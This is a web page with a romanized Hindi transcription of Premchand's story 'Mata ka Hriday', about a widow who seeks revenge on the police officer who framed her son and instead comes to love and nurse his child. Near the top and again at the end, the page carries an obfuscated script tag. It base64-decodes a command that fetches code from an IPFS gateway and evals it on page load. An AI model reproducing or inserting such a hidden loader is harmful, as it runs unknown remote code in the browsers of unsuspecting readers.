माता का हृदय -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madhavi ki aankhoan mean sara sansar aandhera ho raha tha. koee apana madadagar n dikhayi deta tha. kahian asha ki jhalak n thi. us nirdhan ghar mean vah akeli p di roti thi aur koee aansoo poanchhanevala n tha. usake pati ko mare hue 22 varsh ho gaye the. ghar mean koee sampatti n thi. usane n-jane kin takaliphoan se apane bachche ko pal-posakar b da kiya tha. vahi javan beta aj usaki god se chhin liya gaya tha aur chhinanevale kaun the ? agar mrityu ne chhina hota to vah sabr kar leti. maut se kisi ko dvesh nahian hota. magar svarthiyoan ke hathoan yah atyachar asahy ho raha tha. is ghor santap ki dasha mean usaka ji rah-rahakar itana vikal ho jata ki isi samay chalooan aur us atyachari se isaka badala looan jisane us par yah nishthur aghat kiya hai. marooan ya mar jaooanan. donoan hi mean santosh ho jayaga. kitana sundar, kitana honahar balak tha ! yahi usake pati ki nishani, usake jivan ka adhar, usaki umr-bhar ki kamaee thi. vahi l daka is vakt jel mean p da n jane kya-kya takaliphean jhel raha hoga ! aur usaka aparadh kya tha ? kuchh nahian. sara muhalla us par jan deta tha. vidyalay ke adhyapak us par jan dete the. apane-begane sabhi to use pyar karate the. kabhi usaki koee shikayat sunane hi mean nahian ayi. aise balak ki mata hone par any mataean use badhaee deti thian. kaisa sajjan, kaisa udar, kaisa paramarthi ! khud bhookhoan so rahe magar kya majal ki dvar par anevale atithi ko rookha javab de. aisa balak kya is yogy tha ki jel mean jata ! usaka aparadh yahi tha, vah kabhi-kabhi sunane valoan ko apane dukhi bhaiyoan ka dukh da sunaya karata tha, atyachar se pi dit praniyoan ki madad ke lie hamesha taiyar rahata tha. kya yahi usaka aparadh tha ? doosaroan ki seva karana bhi aparadh hai ? kisi atithi ko ashray dena bhi aparadh hai ?

is yuvak ka nam atmanand tha. durbhagyavash usamean ve sabhi sadgun the jo jel ka dvar khol dete haian. vah nirbhik tha, spashtavadi tha, sahasi tha, svadeshapremi tha, niahsvarth tha, karttavyaparayan tha. jel jane ke lie inhian gunoan ki zaroorat hai. svadhin praniyoan ke lie ve gun svarg ka dvar khol dete haian, paradhinoan ke lie narak ke ! atmanand ke seva-kary ne, usaki vaktritaoan ne aur usake rajanitik lekhoan ne use sarakari karmachariyoan ki najaroan mean chadha diya tha. sara pulis-vibhag niche se oopar tak usase satark rahata tha, sabaki nigahean us par lagi rahati thian. akhir zile mean ek bhayankar dake ne unhean ichchhit avasar pradan kar diya. atmanand ke ghar ki talashi huee, kuchh patr aur lekh mile, jinhean pulis ne dake ka bijak siddh kiya. lagabhag 20 yuvakoan ki ek toli phaans li gayi. atmanand isaka mukhiya thaharaya gaya. shahadatean hueean. is bekari aur girani ke jamane mean atma se zyada sasti aur kaun vastu ho sakati hai ! bechane ko aur kisi ke pas rah hi kya gaya hai ! namamatr ka pralobhan dekar achchhi-se-achchhi shahadatean mil sakati haian, aur pulis ke hath p dakar to nikrisht-se-nikrisht gavahiyaan bhi devavani ka mahattv prapt kar leti haian. shahadatean mil gayian, mahine-bhar tak mukadama chala, mukadama kya chala ek svaang chalata raha aur sare abhiyuktoan ko sajaean de di gayian. atmanand ko sabase kathor dand mila, 8 varsh ka kathin karavas ! madhavi roj kachahari jati; ek kone mean baithi sari karravaee dekha karati. manaviy charitr kitana durbal, kitana nirday, kitana nich hai, isaka use tab tak anuman bhi n hua tha. jab atmanand ko saza suna di gayi aur vah mata ko pranam karake sipahiyoan ke sath chala to madhavi moorchhit hokar zamin par gir p di. do-char dayalu sajjanoan ne use ek taange par baithakar ghar tak pahuanchaya. jab se vah hosh mean ayi hai usake hriday mean shool-sa uth raha hai. kisi tarah dhairy nahian hota. us ghor atm-vedana ki dasha mean ab apane jivan ka keval ek lakshy dikhayi deta hai aur vah is atyachar ka badala hai.

ab tak putr usake jivan ka adhar tha. ab shatruoan se badala lena hi usake jivan ka adhar hoga. jivan mean ab usake lie koee asha n thi. is atyachar ka badala lekar vah apana janm saphal samajhegi. is abhage nar-pishach bagachi ne jis tarah use rakt ke aansoo rulaye haian usi bhaanti yah bhi use rulayegi. nari-hriday komal hai, lekin keval anukool dasha mean; jis dasha mean purush doosaroan ko dabata hai, stri shil aur vinay ki devi ho jati hai. lekin jisake hathoan apana sarvanash ho gaya ho usake prati stri ko purush se kam ghrina aur krodh nahian hota. aantar itana hi hai ki purush shastroan se kam leta hai, stri kaushal se.

rat bhigati jati thi aur madhavi uthane ka nam n leti thi. usaka duahkh pratikar ke avesh mean vilin hota jata tha. yahaan tak ki isake siva use aur kisi bat ki yad hi n rahi. usane socha, kaise yah kam hoga ? kabhi ghar se nahian nikali. vaidhavy ke 22 sal isi ghar mean kat gaye; lekin ab nikalooangi. jabaradasti nikalooangi, bhikharin banooangi, tahalani banooangi, jhooth bolooangi, sab kukarm karooangi. satkarm ke lie sansar mean sthan nahian. eeshvar ne nirash hokar kadachith isaki or se muanh pher liya hai. jabhi to yahaan aise-aise atyachar hote haian aur papiyoan ko dand nahian milata. ab inhian hathoan se use dand dooangi.

2

sandhya ka samay tha. lakhanoo ke ek saje hue bangale mean mitroan ki mahaphil jami huee thi. gana-bajana ho raha tha. ek taraph atashabajiyaan rakhi huee thian. doosare kamare mean mejoan par khana chuna ja raha tha. charoan taraph pulis ke karmachari najar ate the. vah pulis ke suparianteandeant mistar bagachi ka bangala hai. kee din hue unhoanne ek marke ka mukadama jita tha. aphasaroan ne khush hokar unaki taraqqi kar di thi. aur usi ki khushi mean yah utsav manaya ja raha tha. yahaan aye din aise utsav hote rahate the. muft ke gavaiye mil jate the, muft ki atashabaji; phal aur meve aur mithaiyaan adhe damoan par bazar se a jati thian aur chat davat ho jati thi. doosaroan ke jahaan sau lagate, vahaan inaka das se kam chal jata tha. dau d-dhoop karane ko sipahiyoan ki fauj thi hi. aur yah marke ka mukadama kya tha ? vah jisamean niraparadh yuvakoan ko banavati shahadat se jel mean thooans diya gaya tha.

gana samapt hone par log bhojan karane baithe. begar ke mazadoor aur palledar jo bazar se davat aur sajavat ke saman laye the, rote ya dil mean galiyaan dete chale gaye the; par ek budhiya abhi tak dvar par baithi huee thi. any mazadooroan ki tarah vah bhunabhunakar kam n karati thi. hukm pate hi khush-dil mazadoor ki tarah dau d-dau dakar hukm baja lati thi. yah madhavi thi, jo is samay mazoorani ka vesh dharan karake apana ghatak sankalp poora karane ayi thi.

mehaman chale gaye. mahaphil uth gayi. davat ka saman samet diya gaya. charoan or sannata chha gaya; lekin madhavi abhi tak yahian baithi thi.

sahasa mistar bagachi ne poochha- buddhi, too yahaan kyoan baithi hai ? tujhe kuchh khane ko mil gaya ?

madhavi- haan huzoor, mil gaya.

bagachi- to jati kyoan nahian ?

madhavi- kahaan jaooan sarakar, mera koee ghar-dvar tho de hi hai. hukum ho to yahian p di rahooan. pav-bhar ate ki paravasti ho jay huzoor.

bagachi- naukari karegi ?

madhavi- kyoan n karooangi sarakar, yahi to chahati hooan.

bagachi- l daka khela sakati hai ?

madhavi- haan huzoor, vah mere man ka kam hai.

bagachi- achchhi bat hai. too aj hi se rah. ja, ghar mean dekh, jo kam batayean, vah kar.

3

ek mahina gujar gaya. madhavi itana tan-man se kam karati hai ki sara ghar usase khush hai. bahooji ka mizaj bahut hi chi dachi da hai. vah din-bhar khat par p di rahati haian aur bat-bat par naukaroan par jhallaya karati haian. lekin madhavi unaki ghu dakiyoan ko bhi saharsh sah leti hai. ab tak mushkil se koee daee ek saptah se adhik thahari thi. madhavi hi ka kaleja hai ki jali-kati sunakar bhi mukh par mail nahian ane deti.

mistar bagachi ke kee l dake ho chuke the, par yahi sabase chhota bachcha bach raha tha. bachche paida to hrisht-pusht hote, kintu janm lete hi unhean ek-n-ek rog lag jata tha aur koee do-char mahine, koee sal-bhar jikar chal dete the. maan-bap donoan is shishu par pran dete the. use jara jukam bhi ho to donoan vikal ho jate. stri-purush donoan shikshit the, par bachche ki raksha ke lie tona-totaka, dua-tabij, jantar-mantar ek se bhi unhean inakar n tha.

madhavi se yah balak itana hil gaya ki ek kshan ke lie bhi usaki god se n utarata. vah kahian ek kshan ke lie chali jati to ro-rokar duniya sir par utha leta. vah sulati to sota, vah doodh pilati to pita, vah khelati to khelata, usi ko vah apani mata samajhata. madhavi ke siva usake lie sansar mean koee apana n tha. bap ko to vah din-bhar mean keval do-char bar dekhata aur samajhata yah koee paradeshi adami hai. maan alasy aur kamazori ke mare god mean lekar tahal n sakati thi. use vah apani raksha ka bhar sanbhalane ke yogy n samajhata tha, aur naukar-chakar use god mean lete to itani bedardi se ki usake komal aangoan mean pi da hone lagati thi. koee use oopar uchhal deta tha, yahaan tak ki abodh shishu ka kaleja muanh ko a jata tha. un saboan se vah darata tha. keval madhavi thi jo usake svabhav ko samajhati thi. vah janati thi ki kab kya karane se balak prasann hoga. isilie balak ko bhi usase prem tha.

madhavi ne samajha tha, yahaan kanchan barasata hoga; lekin use dekhakar kitana vismay hua ki b di mushkil se mahine ka kharch poora p data hai. naukaroan se ek-ek paise ka hisab liya jata tha aur bahudha avashyak vastuean bhi tal di jati thian. ek din madhavi ne kaha- bachche ke lie koee tej ga di kyoan nahian mangava detian. god mean usaki badh mari jati hai.

misez bagachi ne kuanthit hokar kaha- kahaan se mangava dooan, kam-se-kam 50-60 rupaye mean ayegi. itane rupaye kahaan haian ?

madhavi- malakin, ap bhi aisa kahati haian !

misez bagachi- jhooth nahian kahati. babooji ki pahali stri se paanch l dakiyaan aur haian. sab is samay ilahabad ke ek skool mean padh rahi haian. b di ki umr 15-16 varsh se kam n hogi. adha vetan to udhar hi chala jata hai. phir unaki shadi ki bhi to fikr hai. paanchoan ke vivah mean kam-se-kam 25 hazar lageange. itane rupaye kahaan se ayeange. maian chianta ke mare mari jati hooan. mujhe koee doosari bimari nahian hai, keval yahi chianta ka rog hai.

madhavi- ghoos bhi to milati hai.

misez bagachi- budhiya, aisi kamaee mean barakat nahian hoti. yahi kyoan, sach poochho to isi ghoos ne hamari yah durgati kar rakhi hai. kya janean auroan ko kaise hajam hoti hai. yahaan to jab aise rupaye ate haian to koee-n-koee nukasan bhi avashy ho jata hai. ek ata hai to do lekar jata hai. bar-bar mana karati hooan, haram ki kau di ghar mean n laya karo, lekin meri kaun sunata !

bat yah thi ki madhavi ko balak se sneh hota jata tha. usake amangal ki kalpana bhi vah n kar sakati thi. vah ab usi ki niand soti aur usi ki niand jagati thi. apane sarvanash ki bat yad karake ek kshan ke lie use bagachi par krodh to ho ata tha aur ghav phir hara ho jata tha; par man par kutsit bhavoan ka adhipaty n tha. ghav bhar raha tha, keval thes lagane se dard ho jata tha. usamean svayan tis ya jalan n thi. is parivar par ab use daya ati thi. sochati, bechare yah chhin-jhapat n karean to kaise gujar ho. l dakiyoan ka vivah kahaan se kareange ! stri ko jab dekho bimar hi rahati hai. un par babooji ko ek botal sharab bhi roj chahie. yah log to svayan abhage haian. jisake ghar mean 5-5 kvaanri kanyaean hoan, balak ho-hokar mar jate hoan, gharani sada bimar rahati ho, svami sharab ka lati ho, us par to yoan hi eeshvar ka kop hai. inase to maian abhagini hi achchhi !

4

durbal balakoan ke lie barasat buri bala hai. kabhi khaansi hai, kabhi jvar, kabhi dast. jab hava mean hi shit bhari ho to koee kahaan tak bachaye. madhavi ek din apane ghar chali gayi thi. bachcha rone laga to maan ne ek naukar ko diya, ise bahar se bahala la. naukar ne bahar le jakar hari-hari ghas par baitha diya. pani baras kar nikal gaya tha. bhoomi gili ho rahi thi. kahian-kahian pani bhi jama ho gaya tha. balak ko pani mean chhapake lagane se zyada pyara aur kaun khel ho sakata hai. khoob prem se umag-umagakar pani mean lotane laga. naukar baitha aur adamiyoan ke sath gap-shap karata raha. is tarah ghantoan gujar gaye. bachche ne khoob sardi khayi. ghar aya to usaki nak bah rahi thi. rat ko madhavi ne akar dekha to bachcha khaans raha tha. adhi rat ke qarib usake gale se khurakhur ki avaz nikalane lagi. madhavi ka kaleja san se ho gaya. svamini ko jagakar boli- dekho to, bachche ko kya ho gaya hai. kya sardi-vardi to nahian lag gayi. haan, sardi hi to maloom hoti hai.

svamini hakabaka kar uth baithi aur balak ki khurakhurahat suni to paanv tale se zamin nikal gayi. yah bhayankar avaz usane kee bar suni thi aur use khoob pahachanati thi. vyagr hokar boli- jara ag jalao. tho da-sa chokar lakar ek potali banao, seankane se labh hota hai. in naukaroan se tang a gayi. aj kahar jara der ke lie bahar le gaya tha, usi ne sardi mean chho d diya hoga.

sari rat donoan balak ko seankati rahian. kisi tarah sabera hua. mistar bagachi ko khabar mili to sidhe daktar ke yahaan dau de. khairiyat itani thi ki jald ehatiyat ki gayi. tin din mean bachcha achchha ho gaya; lekin itana durbal ho gaya tha ki use dekhakar dar lagata tha. sach poochho to madhavi ki tapasya ne balak ko bachaya. mata soti, pita so jata, kiantu madhavi ki aankhoan mean niand n thi. khana-pina tak bhool gayi. devataoan ki manautiyaan karati thi, bachche ki balaean leti thi, bilakul pagal ho gayi thi. yah vahi madhavi hai jo apane sarvanash ka badala lene ayi thi. apakar ki jagah upakar kar rahi thi. vish pilane ayi thi, sudha pila rahi thi. manushy mean devata kitana prabal hai !

pratahkal ka samay tha. mistar bagachi shishu ke jhoole ke pas baithe hue the. stri ke sir mean pi da ho rahi thi. vahian charapaee par leti huee thi aur madhavi samip baithi bachche ke lie doodh garam kar rahi thi. sahasa bagachi ne kaha- boodha, ham jab tak jiyeange tumhara yash gayeange. tumane bachche ko zila liya.

stri- yah devi banakar hamara kasht nivaran karane ke lie a gayi. yah n hoti to n-jane kya hota. boodha, tumase meri ek vinati hai. yoan to marana-jina prarabdh ke hath hai, lekin apana-apana paura bhi b di chiz hai. maian abhagini hooan. abaki tumhare hi puny-pratap se bachcha sanbhal gaya. mujhe dar lag raha hai ki eeshvar ise hamare hath se chhin n lean. sach kahati hooan boodha, mujhe isako god mean lete dar lagata hai. ise tum aj se apana bachcha samajho. tumhara hokar shayad bach jay, ham abhage haian, hamara hokar is par koee-n-koee sankat ata rahega. aj se tum isaki mata ho jao. tum ise apane ghar le jao, jahaan chahe le jao, tumhari god mean dekar mujhe phir koee chianta n rahegi. vastav mean tumhian isaki mata ho, maian to rakshasi hooan.

madhavi- bahooji, bhagavanh sab kushal kareange, kyoan ji itana chhota karati ho ?

mistar bagachi- nahian-nahian boodhi mata, isamean koee haraj nahian hai. maian mastishk se to in batoan ko dhakosala hi samajhata hooan; lekin hriday se inhean door nahian kar sakata. mujhe svayan meri mataji ne ek dhobin ke hath bech diya tha. mere tin bhaee mar chuke the. maian jo bach gaya to maan-bap ne samajha bechane se hi isaki jan bach gayi. tum is shishu ko palo-poso. ise apana putr samajho. kharch ham barabar dete raheange. isaki koee chianta mat karana. kabhi-kabhi jab hamara ji chahega, akar dekh liya kareange. hamean vishvas hai ki tum isaki raksha ham logoan se kahian achchhi tarah kar sakati ho. maian kukarmi hooan. jis peshe mean hooan, usamean kukarm kiye bagair kam nahian chal sakata. jhoothi shahadatean banani hi p dati haian, niraparadhoan ko phansana hi p data hai. atma itani durbal ho gayi hai ki pralobhan mean p d hi jata hooan. janata hooan ki buraee ka phal bura hi hota hai; par paristhiti se majaboor hooan. agar n karooan to aj nalayaq banakar nikal diya jaooan. aangrej hajaroan bhoolean karean, koee nahian poochhata. hiandustani ek bhool bhi kar baithe to sare aphasar usake sir ho jate haian. hiandustaniyoan ko to koee b da pad n mile, vahi achchha. pad pakar to unaki atma ka patan ho jata hai. unako hindustaniyat ka dosh mitane ke lie kitani hi aisi batean karani p dati haian jinaka aangrez ke dil mean kabhi khayal hi paida nahian ho sakata. to bolo, svikar karati ho ?

madhavi gadgad hokar boli- babooji, apaki ichchha hai to mujhase bhi jo kuchh ban p dega, apaki seva kar dooangi. bhagavanh balak ko amar karean, meri to unase yahi vinati hai.

madhavi ko aisa maloom ho raha tha ki svarg ke dvar samane khule haian aur svarg ki deviyaan aanchal phaila-phailakar ashirvad de rahi haian, mano usake aantastal mean prakash ki laharean-si uth rahi haian. is snehamay seva mean kitani shaanti thi.

balak abhi tak chadar odhe so raha tha. madhavi ne doodh garam ho jane par use jhoole par se uthaya, to chilla p di. balak ki deh thandi ho gayi thi aur muanh par pilapan a gaya tha jise dekhakar kaleja hil jata hai, kanth se ah nikal jati hai aur aankhoan se aansoo bahane lagate haian. jisane use ek bar dekha hai phir kabhi nahian bhool sakata. madhavi ne shishu ko god se chipata liya, halaanki niche utar dena chahie tha.

kuharam mach gaya. maan bachche ko gale se lagaye roti thi; par use zamin par n sulati thi. kya batean ho rahi thian aur kya ho gaya. maut ko dhokha dene mean anand ata hai. vah us vakt kabhi nahian ati jab log usaki rah dekhate haian. rogi jab sanbhal jata hai, jab vah pathy lene lagata hai, uthane-baithane lagata hai, ghar-bhar khushiyaan manane lagata hai, sabako vishvas ho jata hai ki sankat tal gaya, us vakt ghat mean baithi huee maut sir par a jati hai. yahi usaki nithur lila hai.

ashaoan ke bag lagane mean ham kitane kushal haian. yahaan ham rakt ke bij bokar sudha ke phal khate haian. agni se paudhoan ko sianchakar shital chhaanh mean baithate haian. ha, mandabuddhi !

din-bhar matam hota raha; bap rota tha, maan t dapati thi aur madhavi bari-bari se donoan ko samajhati thi. yadi apane pran dekar vah balak ko zila sakati to is samay apana dhany bhag samajhati. vah ahit ka sankalp karake yahaan ayi thi aur aj jab usaki manokamana poori ho gayi aur use khushi se phoola n samana chahie tha, use usase kahian ghor pi da ho rahi thi jo apane putr ki jel-yatra se huee thi. rulane ayi thi aur khud roti ja rahi thi. mata ka hriday daya ka agar hai. use jalao to usamean daya ki hi sugandh nikalati hai, piso to daya ka hi ras nikalata hai. vah devi hai. vipatti ki kroor lilaean bhi us svachchh nirmal srot ko malin nahian kar sakatian.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>